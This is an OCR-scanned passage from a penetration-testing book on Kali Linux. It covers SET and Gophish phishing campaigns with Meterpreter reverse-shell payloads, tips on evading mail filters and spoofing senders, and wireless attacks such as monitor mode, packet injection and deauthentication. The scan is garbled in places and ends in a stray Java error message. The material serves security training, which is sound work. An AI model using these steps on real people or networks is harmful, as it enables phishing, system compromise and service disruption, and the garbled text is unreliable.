3. Select 1 to perform a mass email attack; you will then be presented with a list of
attack payloads, as shown in the following screenshot:

foskkkkokkkk PAYLOADS ok ks fokok

) SET Custom Written DLL Hijacking Attack Vector (RAR, ZIF)
) SET Custom Written Document UNC LM SMB Capture Attack
) M515-100 Microsoft Windows Media Center MCL Vulnerability
) M514-817 Microsoft Word RTF Object Confusion (2014-84-01)
) Microsoft Windows CreateSizedDIBSECTION Stack Buffer Overflow
) Microsoft Word RTF pFragments Stack Buffer Overflow (MS10-087)
) Adobe Flash Player "Button" Remote Code Execution
) Adobe CoolType SING Table "uniqueName" Overflow
) Adobe Flash Player "newfunction" Invalid Pointer Use
) Adobe Collab.collectEmailInfo Buffer Overflow
) Adobe Collab.getIcon Buffer Overflow
) Adobe JBIG2Decode Memory Corruption Exploit
) Adobe PDF Embedded EXE Social Engineering
) Adobe util.printf() Buffer Overflow
) Custom EXE to VBA (sent via RAR) (RAR required)
) Adobe U3D CLODProgressiveMeshDeclaration Array Overrun
) Adobe PDF Embedded EXE Social Engineering (NOJS)
Foxit PDF Reader v4.1.1 Title Stack Buffer Overflow
) Apple QuickTime PICT PnSize Buffer Overflow
) Nuance PDF Reader v6.0 Launch Stack Buffer Overflow
) Adobe Reader u3D Memory Corruption Vulnerability
) MSCOMCTL ActiveX Buffer Overflow (msl2-027)
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4. The attacker can select any available payload, according to the attacker's
knowledge of available targets gained during the reconnaissance phase. In this
example, we will take an example of 7) Adobe Flash Player "Button"
Remote Code Execution.

When you select 7, you will be prompted to select the payloads, as shown in the

following screenshot. We have utilized Windows Meterpreter reverse shell
HTTPS for this example:

Windows Reverse TCP Shell Spawn a command shell on victim and send back to attacker
Windows Meterpreter Reverse TCP Spawn a meterpreter shell on victim and send back to attacker

Windows Reverse VNC DLL Spawn a VNC server on victim and send back to attacker
Windows Reverse TCP Shell (x64) Windows X64 Command Shell, Reverse TCP Inline

Windows Meterpreter Reverse TCP (X64) Connect back to the attacker (Windows x64), Meterpreter
Windows Shell Bind TCP (X64) Execute payload and create an accepting port on remote system
Windows Meterpreter Reverse HTTPS Tunnel communication over HTTP using SSL and use Meterpreter

Once the payload and exploit is ready from the SET console, attackers will get the
confirmation shown in the following screenshot:

H ads> Port to connect back on [443]:443

All good! The directories were created.

Generating fileformat exploit...

Waiting for payload generation to complete (be patient, bit)...

Waiting for payload generation to complete (be patient, bit)...

Waiting for payload generation to complete (be patient, bit)...

Waiting for payload generation to complete (be patient, bit)...

Waiting for payload generation to complete (be patient, bit)...

Payload creation complete.

A1l payloads get sent to the template.pdf directory

If you are using GMAIL - you will need to need to create an application passwor
answer/6010255?hl=en

As an added bonus, use the file-format creator in SET to create your attachment.

Right now the attachment will be imported with filename of 'template.whatever'

Do you want to rename the file?

example Enter the new filename: moo.pdf

1. Keep the filename, I don't care.
2. Rename the file, I want to be cool.

5. Now, you will be able to rename the file by selecting option 2. Rename the
file, I want to be cool.
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6. Once you rename the file, you will be provided with two options to select, either
E-mail Attack Single Email AddressorE-mail Attack Mass Mailer

set:phishing>2
set:phishing> New filename:Payslip.pdf
[*] Filename changed, moving on...

Social Engineer Toolkit Mass E-Mailer

There are two options on the mass e-mailer, the first would
be to send an email to one individual person. The second option
will allow you to import a list and send it to as many people as

you want within that list.
What do you want to do:

1. E-Mail Attack Single Email Address
2. E-Mail Attack Mass Mailer

99. Return to main menu.

7. Attackers can choose mass mailer or individually target a weaker victim,
depending on their own choice. If we use a single email address, SET provides
further templates that can be utilized by the attackers, as shown in the following
screenshot:

et:phishing>1

Do you want to use a predefined template or craft
a one time email template.

1. Pre-Defined Template
2. One-Time Use Email Template

set:phishing>1
Available templates:
This is crazy...
: Dan Brown's Angels & Demons
Baby Pics
: New Update
Computer Issue
How long has it been?
Order Confirmation
Status Report
Strange internet usage from your computer
0: Have you seen this?

1:
b

3:
4

5:
6:
7:
8:
9:
1
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8. After you select the phishing template, you will be offered the option of using
your own Gmail account to launch the attack (1) or using your own server or
open relay (2). If you use a Gmail account, it is likely that the attack will fail;
Gmail inspects outgoing emails for malicious files and is very effective at
identifying payloads produced by SET and the Metasploit framework. If you
have to send a payload using Gmail, use Veil-Evasion to encode it first.

It is recommended that you use the sendmail option to send executable files; it
allows you to spoof the source of the email to make it appear as though it
originated from a trusted source.

To ensure that an email is effective, the attacker should take care of the following points:

¢ The content should provide a carrot (the new server will be faster, have
improved antivirus) and a stick (changes you will have to make before you can
access your email). Most people respond to immediate calls for action,
particularly when it affects them.

e In the sample given previously, the attached document is titled template.doc.

¢ In a real-world scenario, this would be changed to instructions.doc.

e Ensure that your spelling and grammar are correct, and the tone of the message
matches the content.

e The title of the individual sending the email should match the content.

e If the target organization is small, you may have to spoof the name of a real
individual and send the email to a small group that does not normally interact
with that person.

¢ Include a phone number; it makes the email look more official, and there are
various ways to use commercial voice over IP solutions to obtain a short-term
phone number with a local area code.

Once the attack email is sent to the target, successful activation (the recipient launches the
executable) will create a reverse Meterpreter tunnel to the attacker's system. The attacker
will then be able to control the compromised system.
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Setting up a phishing campaign with Gophish

Gophish is an integrated phishing framework with open source and also commercial
support. The framework makes it easy for any type of user to quickly create a phishing
campaign and deploy a sophisticated phishing simulation, or perform a real attack within a
few minutes. Unlike SET, Gophish is not preinstalled in Kali Linux. In this section, we will
explore how to set up the environment:

1. Download the right release, according to your system configuration, by visiting
https://github.com/gophish/gophish/releases. In this book, we will utilize
the gophish-v0.7.1 64-bit Linux version.

2. Once the app is download to Kali Linux, we will unzip the folder and configure
the config. json file with the right information; attackers can choose to utilize
any custom database, such as MySQL, MSSQL, and so on. We will use sqlite3
and an explicit IP address must be declared in 1isten_url if testers prefer to
share the same resource over the LAN, as shown in the following screenshot. By
default, it will be exposed only to localhost:

GNU nano 2.9.5 config.json

”192.168.0I24:3333”E

”géphish_admin.crt”f
"gophish admin.key"

"0.0.0.0:80",

”exémple.crt”f
"example .key"

"sqgqlite3d",
"gophish.db",
" db‘gd_b n

nmn

3. The next step is run the application in the Terminal using . /gophish; this
should bring up BeEF web application portal on default port 3333 with a self-
signed SSL certificate.
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4. You should now be able to access the application by visiting
https://yourIP:3333, as shown in the following screenshot, and you should

now be able to log in with the user as admin and the password as gophish; itis
recommended once you log in, you change the default password:

C | A Not secure | hitps;//192.168.0.24:3333/login?next=%2F r m B = som 8 8

@

Please sign in

M
'IIIIIII‘%HIIIIIIII'

Launching a phishing attack

There are prerequisites that need to be set up in Gophish before launching the phishing
campaign. These can be broadly divided into four important things to do before launching
a successful campaign:

e Templates: Templates are a very crucial part of phishing; you must be able to
create your own templates based on your game plan. The most commonly used
templates are Office365, Webmail, and internal Facebook and Gmail login. Some
of the templates can be found at https://github.com/PacktPublishing/
Mastering—-Kali-Linux-for-Advanced-Penetration-Testing-Third-Edition/
tree/master/Chapter05

¢ Pages: The effectiveness of the phishing will always relate to how you redirect
the victims to a legitimate website using the landing pages.
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e Profiles: A profile is the place where you will have all the SMTP details and
sender details; Gophish allows attackers to have multiple profiles defined, along
with custom email headers.

¢ Users and groups: Upload single or bulk targeted victims email IDs with their
first and last names. Gophish allows testers to create groups and import them in
CSV format.

Once the templates, landing pages, users, and sending profiles are set, we are now set to
launch the campaign, as shown in the following screenshot. Attackers can also set the date
and time of phishing and set the group of target victims. Gophish also provides an option
to test an email to see whether it was blocked or delivered straight to the target's inbox:

< &) |A Mot secure | hitps;//192.168.0.24:3333/campaigns 1}| -]

New Campaign

Name:
Attack

Email Template:
IT Administrator

Landing Page:
Sucess

URL: @
https://192.168.0.24

Launch Date Send Emails By (Optional) @
11/25/2018 6:16 PM

Sending Profile:

TargetCompany

Groups:

x TargetCompany |
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Once the campaign is successfully launched, pen testers can now monitor the entire
campaign in full detail, as shown in the following screenshot:

C | A Notsecure | https;//192.168.0.24:3333

&admin

Settings

Sending Profiles

Landing Pages

Email Templates

Users & Groups

<
@ gophish Dashboard Campaigns

Email Clicked Link Submitted Email
Opened Data Reported

Dashboard Email Sent

Campaigns

Users & Groups 0
Email Templates

Landing Pages

Recent Campaigns
Settings

User Guide Show | 44 entries Search:

API Documentation Name Created Date E4 0 Status

Attack November2sth201s, 2 0 In progress ﬂ
3:17:38 pm
Showing 1to 1 of 1 entries Previous Next

Using bulk transfer as a mode of phishing

Attackers can also utilize bulk file transfer software such as Send, Smash, Hightail,
Terashare, WeTransfer, SendSpace, and DropSend.

Let's take a simple scenario: assume we have two victims, ceo and vijay. Attackers can
simply send files between these two victims, visiting one of the bulk transfer

website ceo@cyberhia.com as sender and vijay@cyberhia.com as receiver. Once the
file is uploaded, both parties will receive the emails with the file link; in this

case, ceo@cyberhia.com will receive an email stating your file is sent successfully, and
vijay@cyberhia.com will receive something similar, as shown in the following
screenshot. Sometimes, these bulk transfers are not on the blocked list in a corporate
environment (if one is blocked, attackers can switch to another), so providing direct access
to internal staff and creating an effective message and undetectable payload will provide a
better success rate, without revealing the identity of the attackers:
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You have been sent a file (Description: This is awesome) nbox x

sendspace =no-reply@sendspace.coms

tome =

Sendspace File Delivery Motification:

You've got a file called goi phish.PNG, (24.7 KB) waiting to be downloaded at sendspace.com (It was sent by ceo@Cyberhia.com).

Description: This is awesome

You can use the following link to retrieve your file:

hitps:iiwww.sendspace comfilef95alr
The file may be available for a limited time only. If you have any questions, please visit the sendspace FAQ at hitps-//www sendspace.com.
Thank you,

sendspace com - The best free file sharing service.

Summary

Social engineering is a method of hacking humans, taking advantage of a person's innate
trust and helpfulness to attack a network and its devices.

In this chapter, we examined how social engineering can be used to facilitate attacks
designed to harvest network credentials, activate malicious software, or assist in launching
further attacks. Most of the attacks rely on SET and Gophish; however, Kali has several
other applications that can be improved using a social engineering methodology. We
explored how new bulk transfer companies can potentially be utilized to spread the
payload without to having use any email services to perform phishing. We also examined
how physical access, usually in conjunction with social engineering, can be used to place
hostile devices on a target network.

In the next chapter, we will examine how to conduct reconnaissance against wireless
networks, and attack open networks as well as networks that are protected with encryption
schemes based on WPA2. We will also examine general weaknesses in wireless protocols
that render them vulnerable to denial of service attacks, as well as impersonation attacks.
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With the dominance of mobile devices, the adoption of Bring Your Own Devices (BYOD)
in companies, and the need to provide instant network connectivity, wireless networks
have become the ubiquitous access point to the internet. Unfortunately, the convenience of
wireless access is accompanied with an increase in effective attacks that result in the theft of
data and unauthorized access, as well as the denial of service of network resources. Kali
provides several tools to configure and launch these wireless attacks, allowing
organizations to improve security.

In this chapter, we will examine several housekeeping tasks and wireless attacks, including
the following topics:

¢ Configuring Kali for wireless attacks

e Wireless reconnaissance

¢ Bypassing a hidden Service Set Identifier (SSID)

¢ Bypassing the MAC address authentication and open authentication

e Compromising WPA/WPA2 encryption and performing Man-in-The-
Middle (MiTM) attacks

¢ Attacking wireless routers with Reaver
¢ Denial-of-Service (DoS) attacks against wireless communication

Configuring Kali for wireless attacks

Kali Linux was released with several tools to facilitate the testing of wireless networks;
however, these attacks require extensive configuration to be fully effective. In addition,
testers should acquire a strong background in wireless networking before they implement
attacks or audit a wireless network.
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The most important tool in wireless security testing is the wireless adapter, which connects
to the wireless access point. It must support the tools that are used, especially the
aircrack-ng suite of tools; in particular, the card's chipset, and drivers must possess the
ability to inject wireless packets into a communication stream. This is a requirement for
attacks that require specific packet types to be injected into the traffic stream between the
target and the victim. The injected packets can cause a DoS, allowing an attacker to capture
handshake data that's needed to crack encryption keys or support other wireless attacks.

The aircrack-ng site (www.aircrack-ng.org) contains a list of known compatible wireless
adapters.

The most reliable adapters that can be used with Kali are the Alfa Network cards, especially
the AWUSO036NH or WiFi-pineapple adapters, which support wireless 802.11 b, g, and n
protocols. The Alfa cards are readily available online and will support all the tests and
attacks that are delivered using Kali.

Wireless reconnaissance

The first step in conducting a wireless attack is to conduct reconnaissance—this identifies
the exact target access point and highlights the other wireless networks that could impact
testing.

If you are using a USB-connected wireless card to connect to a Kali virtual machine, make
sure that the USB connection has been disconnected from the host operating system and
that it is attached to the virtual machine by clicking on the USB connection icon, which is
indicated by an arrow in the following screenshot:

Next, determine which wireless interfaces are available by running iwconfig from the
command line, as shown in the following screenshot:
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:~# iwconfig
no wireless extensions.

IEEE 802.11 ESSID:off/any
Mode:Managed Access Point: Not-Associated Tx-Power=15 dBm
Retry short limit:7 RTS thr:off Fragment thr:off

Encryption key:off
Power Management:off

no wireless extensions.

For certain attacks, you may wish to increase the power output of the adapter. This is
especially useful if you are collocated with a legitimate wireless access point, and you want
the targets to connect to a false access point under your control rather than the legitimate
access point. These false, or rogue, access points allow an attacker to intercept data and to
view or alter it as needed to support an attack. Attackers will frequently copy or clone a
legitimate wireless site and then increase its transmission power compared to the legitimate
site as a means of attracting victims. To increase power, the following command is used:

kali@linux:~# iwconfig wlanO txpower 30

Many attacks will be conducted using aircrack-ng and its related tools. To start, we need
to be able to intercept or monitor wireless transmissions; therefore, we need to set the Kali
communication interface with wireless capabilities to monitor mode using the airmon-ng
command:

kali@linux:~# airmon-ng start wlanO

The execution of the previous command is shown in the following screenshot:

:~# airmon-ng start wlane

Found 4 proc s that could cause trouble.
Kill them us -ng 2ck k ore putting
e in monitor m ey wi inte e by cha channels
managed mode

Name

6 NetworkManager
wpa_
dhclient
dhclient

PHY Interface Driver Chipset

phyo wlan@mon iwlwifi Intel poration Wireless 7265 (rev 99)
phyl wlanl rt28eeusb Ralink Technology, Corp. RT2770
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Note that the description that is returned indicates that there are some processes that could
cause trouble. The most effective way to deal with these processes is to use a
comprehensive kill command, as follows:

root@kali:~# airmon-ng check kill

To view the local wireless environment, use the following command:

rootRkali:~# airodump-ng wlanOmon

The previous command lists all the identified networks that can be found within the range
of the wireless adapter at that particular point of time. It provides the Basic Service Set
Identifier (BSSID) of the wireless nodes on the network, as identified by the MAC
addresses, an indication of the relative output power, information on data packets that have
been sent, bandwidth information including the channel used and data, information on the
encryption used, and the Extended Service Set Identifier (ESSID) that provides the name
of the wireless network. This information is shown in the following screenshot; non-
essential ESSIDs have been blurred out:

CH 4 ][ Elapsed: 48 s ][ 2019-01-09 17:25 ][ inverted sorting order

BSSID PWR Beacons # #/5s CH MB ENC CIPHER AUTH ESSID

FA:8F:CA:3B:55: -92 6 g g 65 OPN <length: ©=
6 :F7:A1:2B: -93 1 ] ] 6 130 WPA2 CCMP
38:35:FB:9A:9F: -91 6 g g 195 WPA2 CCMP
A4:71:74: 4:14 -91 7 g ] 130 WPA2 CCMP
7JC:4C:A5: : 6 -8 8 g 130 WPA2 CCMP
E4:3E:D7: 2:AB -75 130 WPA2 CCMP
42:3E:D7: -77 130 WPA2 CCMP
42:3E:D7:B6:A2: -75 130 OPN

BO : 94 - =51 130 WPA2 CCMP
A@:BD:CD:64:9F:02 -49 130 WPA2 CCMP SKY7C283
3A: - - - = -92 195 OPN

= 00

w

oW W R
(=] (=]

w
-~

w

BSSID STATION \ ate Lost Frames Probe

7C:4C: 3 8A:6 50:A6:7F:

AB:BD: - : BO:05:94:

LUH VY ; g 00:

(not i ) EA:2F:88: -

(not oci ) 46:5E: 1F: 7F : AF: - D - 2 Apple Setup
(not ocia ) 74:29:AF: -

(not oci 9E:BE:41:D1:0F:38 - D - 2 6 Apple Setup
(not associated) 9C:04:73:
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The airodump command cycles through the available wireless channels and identifies the
following:

e The BSs1D, which is the unique MAC address that identifies a wireless access
point or router.

¢ The PWR, or power, of each network. Although airodump-ng incorrectly shows
the power as being negative, this is a reporting artifact. To obtain the proper
positive values, access a Terminal and run airdriver-ng unload 36, and then
run airdriver—-ng load 35.

e cH shows the channel that is being used to broadcast.
e ENC shows the encryption in use—it is OPN, or open, for no encryption being

used, or WEP or WPA/WPA2 if encryption is being used. CIPHER and AUTH provide
additional encryption information.

e The ESSID is the common name of the wireless network, and is made up of the
access points that share the same SSID or name.

In the lower section of the Terminal window, you will see the stations attempting to
connect, or that are connected to the wireless network.

Before we can interact with any of these (potential) target networks, we have to confirm
that our wireless adapter is capable of packet injection. To do this, run the following
command from a Terminal shell prompt:

rootRkali:~# aireplay-ng -9 wlanOmon
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The execution of the previous command is shown in the following screenshot:

:~# alreplay-ng -9 wlan®mon

Trying broadcast probe requests...
Mo Answer...
Found 6 APs

Trying directed probe reque ey

B0:05:94:8D:40:53 - chan - 'P54-A9CO5D7AET9A"
Ping (min/avg/max): 1.392ms/4.708ms/10.276ms Power:
17/30: 56%

Injection is working!

AD:BD:CD:64:9F:02 - channel: 6 - 'SKY7C2B83'

Ping (min/favg/max): 4.669ms/9.189ms/15.526ms Power:
14/30: 46%

38:35:FB:9A:9F:CC - channel: 11 - 'BTHub&-PW7H'
Ping (min/avg/max): 1.371ms/4.615ms/11.960ms Power:
4/30: 13%

6A:FE:F7:Al:2B:75 - channel: 6 - 'Paul Houston's iphone

0/30: 0%

42:3E:D7:B6:A2:A9 - channel: 1 - 'BTWifi-with-FON'
Ping (min/avg/max): 1.693ms/4.039ms/9.614ms Power:
30/30: 100%

Here, -9 indicates an injection test.

Kismet

-77.00

One of the most important tools for wireless reconnaissance is Kismet, an 802.11 wireless
detector, sniffer, and intrusion detection system.

Kismet can be used to gather the following information:

e The name of the wireless network, ESSID

e The channel of the wireless network
¢ The MAC address of the access point, BSSID
e The MAC address of the wireless clients
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It can also be used to sniff data from 802.11a, 802.11b, 802.11g, and 802.11n wireless traffic.
Kismet also supports plugins that allow it to sniff other wireless protocols.

To launch Kismet, enter kismet from a command prompt in the Terminal window.

When Kismet is launched, you will be faced with a series of questions that will allow you to
configure it during the startup process. Respond with Yes to Can you see colors, accept
Kismet is running as root, and select Yes to Start Kismet Server. In the Kismet startup
options, uncheck Show Console as it will obscure the screen. Allow Kismet to start.

You will be prompted to add a capture interface; usually, wlan0 will be selected.

Kismet will then start sniffing packets and collect information about all the wireless
systems located in the immediate physical neighborhood, as shown in the following
screenshot:

File Edit View Search Terminal Help
~ Kismet Sort View Windows
kali

[JETET
00:02.27

Networks
30

12 068:12:10 Crypt: WPA PSK AESCCM Manuf: Lemobile Packets
4612

Pkt/sSec
2

Filtered
]

M Packets

Selecting a network by double-clicking on it will bring you to a network view that provides
additional information on the wireless network.

You can also drill down to identify specific clients that connect to the various wireless
networks.

Use Kismet as an initial reconnaissance tool to launch some specific attacks (such as sniffing
transmitted data) or to identify networks. Because it passively collects connectivity data, it
is an excellent tool for identifying networks that are hidden, especially when the SSID is not
being publicly transmitted.
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Bypassing a hidden SSID

ESSID is the sequence of characters that uniquely identify a wireless local area network.
Hiding the ESSID is a poor method of attempting to achieve security through obscurity;
unfortunately, the ESSID can be obtained by doing either of the following;:

e Sniffing the wireless environment and waiting for a client to associate to a
network and then capturing that association

¢ Actively deauthenticating a client to force the client to associate and then
capturing that association

The aircrack tools are particularly well-suited to capture the data that's needed to unhide
a hidden ESSID, as shown in the following steps:

1. At the command prompt, confirm that wireless is enabled on the attacking
system by entering the following command:

root@kali:~# airmon-ng

2. Next, use the following i fconfig command to review the available interfaces
and to determine the exact name that's used by your wireless system:

root@kali:~# ifconfig

3. Enable your wireless interface by entering the following (you may need to
replace wlan0 with an available wireless interface that was identified in the

previous step):

root@kali:~# airmon-ng start wlanO

4. If you reconfirm with i fconfig, you will see that there is now a monitoring or
wlanOmon address in use. Now use airodump to confirm the available wireless

networks, by entering the following command:

root@kali:~# airodump-ng wlanOmon
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As you can see, the first network's ESSID is identified only as <length: 0>, asit
appears in the preceding screenshot. No other name or designation is used. The
length of the hidden EsSS1ID is identified as being composed of nine characters;
however, this value may not be correct because the ESSID is hidden. The true
ESSID length may actually be shorter or longer than nine characters.

What is important is that there may be clients attached to this particular network.
If clients are present, we will de-authenticate the client, forcing them to send the
ESSID when they reconnect to the access point.

5. Rerun airodump and filter out everything but the target access point. In this
particular case, we will focus on collecting data from the hidden network on
channel six using the following command:

root@kali:~# airodump-ng -c 11 wlanOmon

Executing this command removes the output from the multiple wireless sources,
and allows the attacker to focus on the target ESSID, as shown in the following
screenshot:

annel wlan0

MB
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The data that we get when the airodump command is executed indicates that
there are two stations (E8:2A:EA:C1:F6:E2 and DC-A9:04:78:29:1B)
connected to the BSSID (F0:7D:68:44:61:EA), which is, in turn, associated with
the hidden ESSID.

6. To capture the ESSID as it is being transmitted, we need to create a condition
where we know it will be sent—during the initial stage of the connection
between a client and the access point.

Therefore, we will launch a de-authentication attack against both the client and
the access point by sending a stream of packets that breaks the connection
between them and forces them to re-authenticate.

To launch the attack, open a new command shell and enter the command that's
shown in the following screenshot (0 indicates that we are launching a
deauthentication attack, 10 indicates that we will send 10 deauthentication
packets, —a is the target access point, and c is the client's MAC address):

7. After all the de-authentication packets have been sent, return to the original
window that monitors the network connection on channel six, as shown in the
following screenshot:

You will now see the ESSID in the clear.

[208 ]



Wireless Attacks Chapter 6

Knowing the ESSID helps an attacker to confirm that they are focused on the correct
network (because most ESSIDs are based on the corporate identity) and facilitates the logon
process.

Bypassing the MAC address authentication
and open authentication

The Media Access Control (MAC) address uniquely identifies each node in a network. It
takes the form of six pairs of hexadecimal digits (0 to 9 and the letters A to F) that are
separated by colons or dashes, and usually appears like this: 00:50:56:C0:00:01.

The MAC address is usually associated with a network adapter or a device with
networking capability; for this reason, it's frequently called the physical address.

The first three pairs of digits in the MAC address are called the Organizational Unique
Identifier, and they serve to identify the company that manufac<ns1:XMLFault xmlns:ns1="http://cxf.apache.org/bindings/xformat"><ns1:faultstring xmlns:ns1="http://cxf.apache.org/bindings/xformat">java.lang.OutOfMemoryError: Java heap space</ns1:faultstring></ns1:XMLFault>